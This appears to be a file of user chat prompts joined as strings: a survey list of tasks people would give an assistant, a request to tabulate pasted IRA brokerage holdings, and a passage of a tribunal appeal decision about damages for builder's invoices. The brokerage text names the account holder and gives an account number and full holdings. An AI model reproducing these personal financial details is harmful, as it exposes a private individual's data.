emails\nOrganize what needs to be done in what order!\nManage my email\nOrganizing schedule for content\nReach out to brands for me\nEmail brand outreaches, negotiating, reposting content to other platforms\nManage my social media\nhandling all my emails\nManage content schedule and social media\nTaking over billing clients and handling day to day small items.\nSocial media manager & marketing\nSort my email\nCreate a website\nGet me on a better routine & increase efficiency. Organize my files and photos.\nHandling my social media and packing orders\nDm people for me\nEmail correspondence\nEmails and phone calls\nShampoo my clients\nOrganize my schedule\nHelp me get organized\nTo come up with new ideas to attract more clients\nCome up with new content ideas\nFind new clients\nSocial Media engagement\nOrganization\nResearch on potential clients\nFind clients\nAnswering emails\nResearch incoming offers and what their value could be\nMy first task would be for them to read, reply to, and delete my emails.\nSchedule management\nSet up the newsletter and store on my website\nPlease spend a couple of hours engaging on IG so that my account can grow.\nBudgeting\nOrganize\nNegotiations/Pitching\nTake care of my mails\nAnalysing\nOrganize my email inbox\nSocial Media Management & Content Procurement\ncreate my content calendar\nNever thought but it\npersonal organization\nto find more business and organize well\nHelp me organize work flow\nOrganize\nReceipts!\nAnswer emails\nSet up a schedule for content releases\nPitch brands\nOrganize deadlines and payouts\nAnswer my emails\nOrganize my studio space\nHelp me with taxes\nSocial media\nAdmin & space organization\nPitching to brands\nOrganising my calendar\nFind work\nHelping create organizational docs\nHelp me to find a marketer who can help me to give more shape to my business so I can get or reach more clients.\nFind higher paying clients for collabs\norganize my office\nOrganize content and schedule\nClient outreach and email management\nCreative idea creation\nHelp go through DM requests\nOutreach to brands\nBiz Dev\nAssisting with my finances and brand negotiations.\nMoving products to Etsy\nEmail organization / content schedule\nCreating marketing reports.\nObtain wholesale/resale license\nresearch\nOrganize my content for the next 3 months\nOrganizing my onedrive and calendar\nNot sure\nManaging social media brand collaborations and posts\nTo help organize\nOutreach -\nOrganize my calendar\nManage page and reply messages\nRun my social media\nmarketing\ntrack my income/expenses\nOrganize\nReach out to brands\nHelp me figure out how to save for my taxes when brand money comes in. More importantly, reach out to brands and clients with payment requests so I don’t have to do it constantly myself\nEditing and gathering trends and ideas for concept ideation for me to finalize\nManage my finances\nHelp rebranding with structure\nI would want him/her to manage my PR and collaborations.\nHandle my clothing brand\nClientes\nHelp scheduling\nSocial media mgmt\norganize photos and emails\nFind brands that have a budget\nClean email list and curate trending ideas\nAnswer emails\nBooking, Scheduling\nMarket survey\ndo my taxes\nFix my website\nFile management\nHow follows\nfilming content\nOrganize my calendar\nTake a look at my finances/budgeting\nEditing videos\nFind ideas.\nOrganization\nReaching out to brands\nGetting coffee\nHelp with getting more brand deals\nSocial media marketing and posts\nManage all the soft task; Help me organize my schedule; Clients Managment\nSocial media management\nOtro\nCheck emails\nCommunication\nTo assist with my content creation.\ninvoice\nTo create the base of potential clients and go head em\nManage my social media\nOrganize emails\nKeep me in line with my tasks for the day.\nEmail all my brand partners\nTeach them to arrange my travel\nBusiness Development\ndeal with clients\nWatch my kid lol\nFinding new clients\nOrganize my email\nAnswering emails\nTaxes\nMails\nI wouldn’t\nVideo filming & editing\nEdit a project\nbookkeeping\npost for me\nOrganizing my backend\nBooks my trips for travel\nOrganize my schedules\nhelp create content\nI would have them find me a good graphic designer.\nCheck my emails\nWrite blog post\nSocial media marketing\nTake over my social media, and make it work for me.\nTiming\nManage my calendar\nTime management\nOrganize my schedule for more creative time.\nManage day-to-day tasks, filming schedules\nWhat’s the best pitch for brands\nEmail management\nHelp with pitching with brands.\nOrganization and management of tasks\nCreating a calendar\nshipping and receiving\nReply to emails\nReach out to potential brands to partner with\nTo take over my email communications with brands and clients\nEdit vídeos\nSending emails to potential new customers\nEdit my videos\nBooking\nCaption writing or house work\nBrand outreach\nHelp with more engagement\nMarketing\nAnswer my emails\nScheduling social media posts\nTracking expenses\nBrand strategy\nKeep track of all collaborations and expenses\nContent organization\nscheduling and routine\nOrganize/ prioritize email responses\nEmails\nwork through emails\nRespond to emails\npitch my content to brands\nemail triage\nManage my email, answer all emails.\nemail responder for the technical part of my platform\nMarketing\nClear my inbox\nsocial media posting\ni have one and it was lead management and operations tasks\nBrand outreach\nclear thru my emails\nSort the mail\nFeed the cats\nOrganizing tax information as I am both w2 and 1099\nUpdate my website\nTo manage collaborations and negotiate prices\nWorkflow\nSEO\nMarketing\nGather email address\nPayment plans for debt\nPost stuff for me\nProject management\nHelp me organize/edit my images better.\nCheck all the request and list them down by group\nEmail and other clerical duties.\nUpload stories on instagram\nanswering emails\nFix my documents\nBrand outreach\nSocial media content calendar\nCreate a photography portfolio and website from my past work\nContent engagement on my feeds\nReach out to brands for me\nOrganize all of my social media profiles, create a media kit, and update my headshots and social media content\nSchedule\nEmail brands\nplan out my content for the week\nAdvertisement\ncreate an agenda\nFind more brands that I could work with\nContent Calendar\nReach out to brands for collaborations\nSend out business inquiry letters to list of specific brands/companies for partnership opportunities and brand collaborations\nFilm content for me\nLearn how to run ads\nStudy me so they can match my style as they help me.\nFollow up with brands\nReplying to emails.\nOrganize my files\nplatform engagement\nFile my taxes\nSchedule my content to post\nFind more clients\nCustomer service/planning/marketing\nUpdating my website from my archive or work on creating selects for my projects.\nHelping with content creation and getting on a regular cadence of posting; helping me to interact with followers\nDelegate work\nBTS filming\norganize all my daily tasks\nHelp keep up with correspondence, social media, etc.\nemail management\nPitch me to brands\nDo my money\nHelping manage and organize my social media and creating new connections and engaging with followers\nTo organize my schedule.\nmanaging my finances\nMarketing\nE-mail MGMT\nSocial media\nEmail\nReach out to brands and negotiate sponsorships.\nRespond to my emails for me\nDo all and any brand negotiations\nhandling my dis\nI would have them organize my schedule and projects I\'m working on ASAP.\nVideography\nTrack my expenses\nSocial media management\nOrganization\nHelp me find more brands to work with outside my 9-5 job\nOrganize my calendar and input deadlines + strategize it’s completion\ncontact and confirm with my team members to confirm the their schedule.\nFinding paid opportunities\nMake me a schedule\nTo find freelance work to further improve my work\nRespond to comments\nI have a personal assistant\nMarket brand.\nA schedule\nOrganizing my calendar and scheduling posts\nResponding to emails from brands proposing a partnership.\nTo take over my emails and social media in an attempt to book future gigs.\nTo speak with brands\nOrganize my day to day\nresearching platforms to assist with productivity\nBookkeeping, personal\nManage my calendar\nContent planning\nHelp me get organized\nVideo Editing Help\nEngagement on social media\nmake a to-do list with deadlines\nTo do my engagement for me.\nTime management\nAnswering my emails\npersonal tasks and calendar organization & strategy\nEmail brands for collaboration\nhelp me organize\nWhat is your Organizational structure\nSocial Media Promo\nLook for paid campaigns\nsend invoices\nOrganise my calendar and daily tasks\nRespond to emails\nSort through files\nWhy do they wanna work for me\nDay to day tasks\nPitching brands\nScheduling\nHelping me gather regular content as "selfie" style work is hard in my industry.\nBooking\ncalculating my expenses\nManage my videos\nManage my to do list' +'great job. do the same. rearrange this data in table format that includes the ticker and # of shares so that I can easily copy and paste it into excel:\n\nFor example,\n\ncolumn 1 row 1 = LRCX, column 2 row 1 = 3.380\ncolumn 1 row 2 = LLY, column 2 row 2 = 8.000\n\nLAM RESEARCH CORP COM USD0.001 (LRCX) 0.56 1,529.89 3.380 500.1000 1,690.33 1,629.81 60.52 23.32 1.380 ELI LILLY AND CO (LLY) 0.91 2,926.72 8.000 344.1500 2,753.20 2,353.93 399.27 36.16 1.310 MR\\_CE \\_BNLWXPBBBBVPR\\_BBBBB 20230131 S 12 of 60 INVESTMENT REPORT January 1, 2023 - January 31, 2023 Account # Y80-377508 Holdings THU UYEN MAI - ROLLOVER IRA Stocks (continued) Description Percent of Holdings Beginning Market Value Jan 1, 2023 Quantity Jan 31, 2023 Price Per Unit Jan 31, 2023 Ending Market Value Jan 31, 2023 Cost Unrealized Gain/Loss Jan 31, 2023 EAI ($) / EY (%) LOCKHEED MARTIN CORP COM USD1.00 (LMT) 0.37 1,055.68 2.410 463.2600 1,116.45 1,020.96 95.49 28.92 2.590 LOWES COMPANIES INC COM USD0.50 (LOW) 0.65 1,875.24 9.412 208.2500 1,960.04 1,891.78 68.26 39.53 2.020 LYFT INC CL A COM (LYFT) 0.15 319.58 29.000 16.2500 471.25 405.32 65.93 - - M &T BANK CORP COM USD0.50 (MTB) 0.46 1,239.82 8.887 156.0000 1,386.37 1,570.25 -183.88 42.66 3.080 MARSH &MCLENNAN COMPANIES INC COM USD1.00 (MMC) 0.63 1,820.28 11.000 174.9100 1,924.01 1,774.75 149.26 25.96 1.350 MARRIOTT INTERNATIONAL INC COM USD0.01 CLASS A (MAR) 0.23 595.56 4.000 174.1800 696.72 654.93 41.79 6.40 0.920 MARVELL TECHNOLOGY INC COM (MRVL) 0.21 555.60 15.000 43.1500 647.25 998.16 -350.91 3.60 0.560 MASTERCARD INCORPORATED CL A (MA) 0.99 2,662.91 8.082 370.6000 2,995.18 2,881.75 113.43 18.43 0.620 MAXIMUS INC (MMS) 0.26 791.15 10.789 74.8500 807.55 763.90 43.65 12.08 1.500 MCKESSON CORP (MCK) 0.26 786.62 2.097 378.6800 794.09 656.00 138.09 4.53 0.570 METTLER-TOLEDO INTERNATIONAL INC COM USD0.01 (MTD) 0.48 1,386.18 0.943 1,532.9200 1,445.54 1,276.85 168.69 - - MICROSOFT CORP (MSFT) 4.66 13,299.69 56.723 247.8100 14,056.52 16,000.37 -1,943.85 154.29 1.100 MICRON TECHNOLOGY INC (MU) 0.30 732.05 15.086 60.3000 909.68 1,026.20 -116.52 6.94 0.760 MONDELEZ INTL INC COM NPV (MDLZ) 0.63 1,932.85 29.310 65.4400 1,918.04 1,919.23 -1.19 45.14 2.350 MOODYS CORP COM USD0.01 (MCO) 0.47 1,149.30 4.403 322.7500 1,421.06 1,354.28 66.78 13.56 0.950 MORGAN STANLEY COM USD0.01 (MS) 0.16 425.10 5.000 97.3300 486.65 427.73 58.92 15.50 3.190 MR\\_CE \\_BNLWXPBBBBVPR\\_BBBBB 20230131 S 13 of 60 INVESTMENT REPORT January 1, 2023 - January 31, 2023 Account # Y80-377508 Holdings THU UYEN MAI - ROLLOVER IRA Stocks (continued) Description Percent of Holdings Beginning Market Value Jan 1, 2023 Quantity Jan 31, 2023 Price Per Unit Jan 31, 2023 Ending Market Value Jan 31, 2023 Cost Unrealized Gain/Loss Jan 31, 2023 EAI ($) / EY (%) NETFLIX INC (NFLX) 0.47 1,179.52 4.000 353.8600 1,415.44 855.51 559.93 - - NEWMONT CORP COM ISIN #US6516391066 SEDOL #BJYKTV2 (NEM) 0.16 434.00 9.185 52.9300 486.16 407.88 78.28 20.21 4.160 NEXTERA ENERGY INC COM USD0.01 (NEE) 0.76 2,591.60 31.000 74.6300 2,313.53 2,533.33 -219.80 52.70 2.280 NIKE INC CLASS B COM NPV (NKE) 0.33 936.08 7.820 127.3300 995.72 941.62 54.10 10.64 1.070 NORTHERN TRUST CORP COM USD1.666 (NTRS) 0.48 1,327.35 15.000 96.9700 1,454.55 1,535.49 -80.94 45.00 3.090 NORTHROP GRUMMAN CORP COM USD1 (NOC) 0.59 2,182.44 4.000 448.0400 1,792.16 1,815.33 -23.17 27.68 1.540 GEN DIGITAL INC COM (GEN) 0.29 707.19 39.170 23.0100 901.30 1,005.89 -104.59 19.59 2.170 NVIDIA CORPORATION COM (NVDA) 2.14 4,989.80 33.024 195.3700 6,451.89 6,038.31 413.58 5.28 0.080 OCCIDENTAL PETE CORP COM (OXY) 0.38 1,089.41 17.825 64.7900 1,154.88 1,253.66 -98.78 9.27 0.800 ON SEMICONDUCTOR CORP COM USD0.01 (ON) 0.18 468.14 7.775 73.4500 571.07 556.39 14.68 - - OPEN TEXT CORP COM ISIN #CA6837151068 SEDOL #2260824 (OTEX) 0.21 563.16 19.000 33.5500 637.45 774.73 -137.28 18.47 2.900 OSHKOSH CORP (OSK) 0.43 1,146.47 13.000 100.7800 1,310.14 1,198.64 111.50 21.32 1.630 OVINTIV INC COM ISIN #US69047Q1022 SEDOL #BL3GRC2 (OVV) 0.22 688.74 13.802 49.2300 679.47 735.10 -55.63 13.80 2.030 PG&E CORP COM NPV (PCG) 0.27 861.78 53.000 15.9000 842.70 612.15 230.55 - - PNC FINANCIAL SERVICES GROUP COM USD5 (PNC) 0.66 1,786.61 12.112 165.4300 2,003.68 2,144.22 -140.54 72.67 3.630 PALO ALTO NETWORKS INC COM USD0.0001 (PANW) 0.33 811.84 6.360 158.6400 1,008.95 1,071.70 -62.75 - - MR\\_CE \\_BNLWXPBBBBVPR\\_BBBBB 20230131 S 14 of 60 INVESTMENT REPORT January 1, 2023 - January 31, 2023 Account # Y80-377508 Holdings THU UYEN MAI - ROLLOVER IRA Stocks (continued) Description Percent of Holdings Beginning Market Value Jan 1, 2023 Quantity Jan 31, 2023 Price Per Unit Jan 31, 2023 Ending Market Value Jan 31, 2023 Cost Unrealized Gain/Loss Jan 31, 2023 EAI ($) / EY (%) PAYPAL HLDGS INC COM (PYPL) 0.10 284.88 3.999 81.4900 325.87 348.53 -22.66 - - PENN ENTERTAINMENT INC COM (PENN) 0.19 495.12 16.281 35.4500 577.16 643.55 -66.39 - - PINDUODUO INC SPON ADS EACH REP 4 ORD SHS (PDD) 0.08 474.13 2.567 97.9800 251.51 124.15 127.36 - - PIONEER NATURAL RESOURCES CO COM USD0.01 (PXD) 0.15 456.78 2.000 230.3500 460.70 498.77 -38.07 6.10 1.320 PORTLAND GENERAL ELECTRIC CO (POR) 0.27 856.96 17.489 47.5800 832.12 884.81 -52.69 31.66 3.800 PROCTER AND GAMBLE CO COM (PG) 0.43 1,364.04 9.100 142.3800 1,295.65 1,378.67 -83.02 33.24 2.570 QUALCOMM INC (QCOM) 0.29 769.58 6.640 133.2100 884.51 1,006.67 -122.16 19.92 2.250 RH COM (RH) 0.17 517.54 1.677 311.9900 523.20 441.92 81.28 - - RAYMOND JAMES FINL INC COM (RJF) 0.35 812.27 9.433 112.7700 1,063.75 1,083.92 -20.17 15.85 1.490 RECKITT BENCKISER GROUP PLC SPON ADR EACH REP 0.20 ORD SHS (RBGLY) 0.28 872.09 61.296 14.2070 870.83 1,002.75 -131.92 23.45 2.690 REGAL REXNORD CORP COM STK USD0.01 (RRX) 0.39 943.76 8.634 139.2000 1,201.85 1,162.94 38.91 12.09 1.010 REGENERON PHARMACEUTICALS INC (REGN) 0.54 1,472.56 2.161 758.4700 1,639.05 1,323.93 315.12 - - RIVIAN AUTOMOTIVE INC COM CL A (RIVN) 0.06 165.87 10.016 19.4000 194.31 319.50 -125.19 - - ROCHE HOLDINGS ADR (RHHBY) 0.46 1,412.92 36.000 38.8100 1,397.16 1,566.07 -168.91 27.95 2.000 ROSS STORES INC (ROST) 0.36 1,086.41 9.360 118.1900 1,106.25 822.61 283.64 11.61 1.050 S&P GLOBAL INC COM (SPGI) 0.53 1,339.76 4.271 374.9400 1,601.36 1,559.71 41.65 15.38 0.960 MR\\_CE \\_BNLWXPBBBBVPR\\_BBBBB 20230131 S 15 of 60 INVESTMENT REPORT January 1, 2023 - January 31, 2023 Account # Y80-377508 Holdings THU UYEN MAI - ROLLOVER IRA Stocks (continued) Description Percent of Holdings Beginning Market Value Jan 1, 2023 Quantity Jan 31, 2023 Price Per Unit Jan 31, 2023 Ending Market Value Jan 31, 2023 Cost Unrealized Gain/Loss Jan 31, 2023 EAI ($) / EY (%) SALESFORCE INC COM (CRM) 0.25 641.73 4.620 167.9700 776.02 866.96 -90.94 - - SANOFI ADR REP 1 1/2 ORD (SNY) 0.57 1,307.61 35.310 49.1400 1,735.13 1,764.58 -29.45 61.68 3.550 SAP ADR REP 1 ORD (SAP) 0.19 515.95 5.000 118.5300 592.65 486.26 106.39 7.64 1.290 SEA LIMITED ADS EACH REP ONE CLASS A ORD SHS (SE) 0.12 312.12 5.999 64.4500 386.63 293.80 92.83 - - SHERWIN-WILLIAMS CO (SHW) 0.35 1,062.76 4.468 236.5900 1,057.08 1,115.35 -58.27 10.72 1.010 SHOCKWAVE MED INC COM (SWAV) 0.08 332.88 1.389 187.9300 261.03 360.20 -99.17 - - SIEMENS AG SPON ADR EACH REP 0.5 ORD SHS (SIEGY) 0.32 899.32 12.661 77.5980 982.46 748.41 234.05 21.17 2.150 SNAP INC CL A (SNAP) 0.38 832.35 100.817 11.5600 1,165.44 1,273.58 -108.14 - - SOUTHERN CO (SO) 0.50 1,613.00 22.588 67.6800 1,528.75 1,636.82 -108.07 61.44 4.020 SPECTRUM BRANDS HLDGS INC NEW COM (SPB) 0.25 731.04 11.420 67.8800 775.18 877.61 -102.43 19.19 2.480 STANLEY BLACK & DECKER INC (SWK) 0.18 486.62 6.278 89.3100 560.68 724.02 -163.34 20.09 3.580 SYNOPSYS INC (SNPS) 0.44 1,224.15 3.804 353.7500 1,345.66 1,252.32 93.34 - - SYSCO CORP (SYY) 0.11 305.80 4.403 77.4600 341.05 370.30 -29.25 8.63 2.530 TJX COMPANIES INC (TJX) 0.17 515.96 6.482 81.8600 530.61 407.89 122.72 7.65 1.440 TAIWAN SEMICONDUCTOR MANUFACTURING SPON ADS EACH REP 5 ORD TWD10 (TSM) 0.14 unavailable 4.680 92.7300 433.97 440.72 -6.75 6.73 1.550 TERADYNE INC COM USD0.125 (TER) 0.18 524.10 5.330 101.7000 542.06 538.83 3.23 2.35 0.430 MR\\_CE \\_BNLWXPBBBBVPR\\_BBBBB 20230131 S 16 of 60 INVESTMENT REPORT January 1, 2023 - January 31, 2023 Account # Y80-377508 Holdings THU UYEN MAI - ROLLOVER IRA Stocks (continued) Description Percent of Holdings Beginning Market Value Jan 1, 2023 Quantity Jan 31, 2023 Price Per Unit Jan 31, 2023 Ending Market Value Jan 31, 2023 Cost Unrealized Gain/Loss Jan 31, 2023 EAI ($) / EY (%) TESLA INC COM (TSLA) 0.62 1,238.32 10.883 173.2200 1,885.15 2,987.56 -1,102.41 - - THERMO FISHER SCIENTIFIC INC (TMO) 0.61 1,713.74 3.270 570.3300 1,864.97 1,886.45 -21.48 3.92 0.210 TOURMALINE OIL CORP COM ISIN #CA89156V1067 SEDOL #B3QJ0H8 (TRMLF) 0.14 422.89 9.451 46.4721 439.20 455.65 -16.45 - - TRAVELERS COMPANIES INC COM STK NPV (TRV) 0.25 749.96 4.000 191.1200 764.48 688.52 75.96 14.88 1.950 TRUIST FINL CORP COM (TFC) 0.23 516.36 14.440 49.3900 713.19 769.10 -55.91 30.04 4.210 TWILIO INC CL A (TWLO) 0.09 323.42 4.934 59.8400 295.25 428.11 -132.86 - - TYSON FOODS INC (TSN) 0.27 498.00 12.437 65.7500 817.73 1,011.15 -193.42 23.88 2.920 US BANCORP (USB) 0.18 402.17 11.474 49.8000 571.40 556.89 14.51 22.03 3.860 UBER TECHNOLOGIES INC COM (UBER) 0.43 1,038.66 42.547 30.9300 1,315.97 1,115.94 200.03 - - UNILEVER PLC SPON ADR NEW (UL) 0.16 503.50 9.999 51.1000 510.94 493.36 17.58 17.78 3.480 UNITED PARCEL SERVICE INC (UPS) 0.30 869.20 5.000 185.2300 926.15 1,006.33 -80.18 32.40 3.500 US FOODS HLDG CORP COM (USFD) 0.37 1,028.59 29.420 38.1300 1,121.78 1,009.29 112.49 - - UNITEDHEALTH GROUP INC (UNH) 2.05 6,362.16 12.370 499.1900 6,174.98 6,346.44 -171.46 81.64 1.320 VEEVA SYSTEMS INC (VEEV) 0.29 548.69 5.239 170.5500 893.51 942.87 -49.36 - - VERISK ANALYTICS INC COM (VRSK) 0.38 1,058.52 6.325 181.7900 1,149.82 1,182.25 -32.43 7.84 0.680 VERTEX PHARMACEUTICALS INC (VRTX) 0.53 1,443.90 5.000 323.1000 1,615.50 1,345.02 270.48 - - VERTIV HOLDINGS CO COM CL A (VRT) 0.09 331.00 20.922 14.2200 297.51 244.45 53.06 0.21 0.070 MR\\_CE \\_BNLWXPBBBBVPR\\_BBBBB 20230131 S 17 of 60 INVESTMENT REPORT January 1, 2023 - January 31, 2023 Account # Y80-377508 Holdings THU UYEN MAI - ROLLOVER IRA Stocks (continued) Description Percent of Holdings Beginning Market Value Jan 1, 2023 Quantity Jan 31, 2023 Price Per Unit Jan 31, 2023 Ending Market Value Jan 31, 2023 Cost Unrealized Gain/Loss Jan 31, 2023 EAI ($) / EY (%) VICTORIAS SECRET AND CO COMMON STOCK (VSCO) 0.07 unavailable 5.640 42.1500 237.72 224.90 12.82 - - VISA INC (V) 1.13 3,028.72 14.804 230.2100 3,408.02 3,141.20 266.82 26.65 0.780 WARNER MUSIC GROUP CORP COM CL A (WMG) 0.14 455.26 12.340 36.4500 449.79 400.91 48.88 7.90 1.760 WELLS FARGO CO NEW COM (WFC) 1.75 4,665.77 113.000 46.8700 5,296.31 5,305.35 -9.04 135.60 2.560 ZOETIS INC (ZTS) 0.66 1,558.26 12.010 165.4900 1,987.53 2,130.08 -142.55 18.02 0.910 Total Stocks 96.64% $271,705.01 $293,817.66 $290,793.61 $3,024.05 $3,890.23 Other Description Percent of Holdings Beginning Market Value Jan 1, 2023 Quantity Jan 31, 2023 Price Per Unit Jan 31, 2023 Ending Market Value Accrued Interest (AI) Jan 31, 2023 Cost Unrealized Gain/Loss Jan 31, 2023 EAI ($) / EY (%) AMERICAN TOWER CORP NEW COM (AMT) 0.44% $1,271.16 6.000 $223.3900 $1,340.34 - $1,581.50 -$241.16 $37.44 2.790% EXTRA SPACE STORAGE INC (EXR) 0.30 595.49 5.813 157.8300 917.46 - 895.82 21.64 34.88 3.800 PROLOGIS INC. COM (PLD) 0.47 1,214.66 11.091 129.2800 1,433.84 - 1,486.05 -52.21 35.05 2.440 SBA COMMUNICATIONS CORP NEW CL A (SBAC) 0.39 1,121.24 4.000 297.5300 1,190.12 - 1,070.89 119.23 11.36 0.950 SIMON PROPERTY GROUP INC (SPG) 0.12 352.44 3.000 128.4600 385.38 - 356.60 28.78 20.70 5.370 Total Other 1.72% $4,554.99 $5,267.14 $5,390.86 -$123.72 $139.43 Total Holdings 100%r $301,015.84 $296,184.47 $2,900.33 $4,055.33' +'This is part 7 of my multiple messages. I will continue to send you further messages. If you understand then please say "acknowledged".\n\nGround 5 – the award of damages in respect of the amount of the builder’s invoices\n\nThe Tribunal dealt with the builder’s invoices as follows (at [59]):\n\n…Mr Bannister provided a breakdown of costs, and I have received no break-down of costs to the contrary and he was not cross-examined in a way that causes me to reject his evidence. In the absence of any expert building evidence to the contrary, I make orders in accordance with the total contained therein. I award $29,601.69 in accordance with three invoices (Y1-Y3) for loss and damages in connection with the removal and replacement of the windows.\n\nThe appellant submitted that, in finding the appellant liable to the respondents for the amount of the three invoices from the builder, the Tribunal had:\n\nPlaced the onus of proof on the appellant in respect of proof of damage;\n\nFailed to take into account the contractual provisions regarding responsibility for waterproofing; and\n\nFailed to give adequate reasons for concluding that the work referred to in the invoices was work required in consequence of the appellant’s breach of contract, that is “work required in order to bring the work into conformity with the contract”.\n\nThe appellant submitted that the only evidence that the builder’s work, the subject of the invoices, had anything to do with the windows, was in the wording of the invoices themselves and in contemporaneous emails from Mr Bannister’s father, who had apparently prepared the invoices.\n\nThe appellant submitted:\n\nThe fact that the invoices provide some sort of ‘breakdown of costs’ does not mean that any of those costs were incurred as a result of BW’s breach of contract. The Tribunal made no attempt to analyse the content of the invoices in terms of BW’s contractual obligations.\n\nAlthough the Tribunal referred to the invoices as Y1-Y3, they were in fact identified as Annexures Y-7, Y-8, and Y-9. The three invoices were:\n\nAnnexure Y-7, in the amount of $10,908.70. The narration on this invoice described the work the subject of the invoice as “Remove existing defective windows, existing external blinds, cladding etc, and prepare openings for the new windows; Provide adequate flashing and install windows to openings. The invoice recorded that the work involved 68 hours of labour, and also included charges of $2,485 in respect of materials, the nature of which was not specified, and $250 for pump hire.\n\nAnnexure Y-8, in the amount of $10,007.39. The narration on this invoice described the work the subject of the invoice as “Continue installation of sheeting, cappings, moulding etc”. The labour involved was 83 hours over a period of about two weeks. The invoice also included a charge of $653.63 in respect of “materials” with no further detail.\n\nAnnexure Y-9, in the amount of $9,092.16. This invoice included two narrations describing the work the subject of the invoice. The first narration was “Complete remainder of external flashings, cappings, fix blinds, removal of scaffold” in respect of which 59 hours were charged. That narration was followed by a charge of $480 for unspecified materials. The second narration was “Relocated fan position, including blocking and support, relocating door handles to wet areas and patching”. The invoice included a further charge of $339 in respect of unspecified materials” and a second charge for labour of 14 hours. It was not clear from the invoice whether that labour related to the second narration as it appeared above the second narration.\n\nThe appellant acknowledged that the first invoice (Annexure Y-7 in the amount of $10,908.70) included the removal of existing windows and “prepare openings for the new windows” but submitted that “there is no breakdown in the invoice (or any other evidence) as to how many of the 68 hours [recorded on the invoice] was spent on these activities”.\n\nThe appellant submitted that “the cost of repairing or replacing cladding surrounding the window openings cannot have been the result of BW’s breach of contract”, and that there is no indication in the invoice as to how much labour was involved in this activity. The appellant noted that it cannot be inferred that the charge for pump hire resulted from any defect in the windows installed by the appellant.\n\nThe appellant submitted that the second invoice “on its face has nothing to do with replacing the BW windows with Wideline windows”.\n\nThe appellant submitted that the third invoice was dated 26 September, which was two and a half months after the last of the replacement windows had been installed. The appellant referred to evidence given by Mr Bannister that the reference to flashing in the invoices was a typographical error. The appellant further submitted that that there was “no evidence of any causative link” between the work identified in the invoice and a breach of contract by the appellant.\n\nThe appellant further submitted that, insofar as the Tribunal had held that Mr Bannister “was not cross-examined in a way that causes [the Tribunal] to reject his evidence” that was not to the point, as Mr Bannister had not given evidence drawing any connection between the invoices and the windows installed by the appellant.\n\nThe respondents submitted:\n\nNo evidence to counter the Respondents’ claim was tendered by the Appellant at the hearing at first instance or in this appeal to challenge the invoices, the scope of work of the builder or its relationship to any contractual obligations of the Appellant, whatever they may have been at the relevant time. The Member could only decide on the matters and evidence put before her and therefore this cannot be an error of law.\n\nFurther, the Appellant has not adduced any evidence to support its assertion that the Tribunal made no attempt to analyse the content of the invoices in terms of BW’s contractual obligations.\n\nThe Appellant’s legal representative had the opportunity to cross examine Jackson Bannister in relation to the invoices if the Appellant had concerns with these invoices. The Respondents submit that in such circumstances and in the absence of rebuttal evidence from the Appellant there is no error or law.\n\nIn reply, the appellant submitted that the appellant’s challenge to the award of the amount of the invoices was not on the basis of their quantum (amount) but rather on the basis that the work set out in the invoices was not the result of the appellant’s breach of contract; that is, it was not the cost of rectifying work for which the appellant was responsible and was not work required to achieve “conformity with the contract”.\n\nThe appellant submitted that, even though work which was clearly part of the rectification of the appellant’s work, such as removing the windows installed by the appellant, was included in the first invoice, “the respondents bore the onus of proof in respect of the necessary apportionment of the invoice” and noted that the Tribunal had not attempted any apportionment exercise.\n\nThe appellant further submitted that the installation of the new windows had been carried out by Wideline in accordance with its contract to “supply and install”. The appellant referred to an email from Mr Bannister’s father, Neil Bannister, dated 28 June 2019, which stated “so far our teams have not really assisted in the installation as there is not much to this work”.\n\nThe appellant finally submitted that it was impossible to tell from the invoices whether the work done by the builder was in consequence of the removal and reinstallation of windows in January 2019 or the removal of the appellant’s windows and the installation of the Wideline windows in June or July 2019. The appellant referred to the evidence of Mr Sibilia that “due to the extensive damage caused by the respondent in reinstalling the three replacement windows, building rectification work was required” and pointed out that clause 2(b) of the Deed made this damage the respondents’ responsibility.\n\nConsideration – Ground 5\n\nThe measure of damages for breach of contract is the amount required to put the innocent party into the position they would have been if the contract had been performed. In respect of defective building work, the measure of damages is the amount required to bring the work into conformity with the contract, provided that is a reasonable course to adopt: Bellgrove v Eldridge (1954) 90 CLR 613 at 617-618.\n\nThe onus of proving that measure of damages lies upon the party seeking to recover damages.\n\nWe consider that the Tribunal made an error of law in finding the appellant liable for the amount of the builder’s invoices. The Tribunal did not acknowledge that the onus of proving that the invoices reflected costs incurred by reason of the appellant’s breach of statutory warranties lay upon the respondents.\n\nThe invoices did not of themselves establish that they reflected such costs and Mr Sibilia’s, evidence, to which the appellant referred in its submissions in reply, suggested otherwise.\n\nAlthough the first invoice clearly includes the removal of the windows, it also includes other work and does not identify the cost of the work involved in removing the windows. As the appellant submitted, the onus of establishing the appropriate apportionment of that invoice lay upon the respondents.\n\nThe balance of the first invoice and the second and third invoices do not indicate how any of the work for which payment was claimed was related to the replacement of the defective windows.\n\nThere was no onus on the appellant to undertake cross-examination of Mr Bannister, the builder, to clarify the extent to which the invoices reflected work necessary to “bring the work into conformity with the contract”. Rather, the fact that the respondents did not lead evidence from Mr Bannister to clarify the content of his invoices, and to identify specifically what parts of the invoices related to work involved in the removal and replacement of the windows, gave rise to an inference that Mr Bannister’s evidence on that topic would not have assisted the respondents.\n\nAs Handley JA held in Commercial Union Assurance Company of Australia Ltd v Ferrcom Pty Ltd (1991) 11 NSWLR 389 at 418F-G:\n\n… I can see no reason why those principles [arising from Jones v Dunkel] should not apply when a party by failing to examine a witness in chief on some topic, indicates “as the most natural inference that the party fears to do so”. This fear is then “some evidence” that such examination in chief “would have exposed facts unfavourable to the party”: see Jones v Dunkel (at 320-321) per Windeyer J. Moreover in Ex parte Harper; Re Rosenfield [1964-5] NSWR 58 at 62, Asprey J, citing Marks v Thompson 1 NYS 2d 215 (1937) at 218, held that inferences could not be drawn in favour of a party that called a witness who could have given direct evidence when that party refrained from asking the crucial questions.\n\nMr Bannister’s affidavit addressed only the testing he had undertaken to assess whether the windows installed by the appellant were leaking. The entirety of his evidence in chief concerning the invoices was given in response to a question from Mr Stack, the respondents’ solicitor:\n\nMR STACK – Okay. Now, did you or someone on your behalf prepare a series of invoices for work performed and the dates of 27 June, 12 July, and 27 September 2019?\n\nMR BANNISTER – Yes.\n\nIn our view, it is clear that the evidence tendered by the respondents was not sufficient to establish that the work the subject of the invoices was work which was required to bring the work into conformity with the contract or to establish the value of the work which was such work. That conclusion is strengthened by the inference to be drawn by reason of the fact that Mr Bannister was called to give evidence and was not asked questions to establish that the work the subject of the invoices was related to the replacement of the windows.\n\nAccordingly, the Tribunal’s decision to the extent that it awards the respondents the amount of the invoices must be set aside. In light of that conclusion it is not necessary to deal with grounds 2 or 3, which, as we have noted above, were limited to a challenge to the award of the amount of the 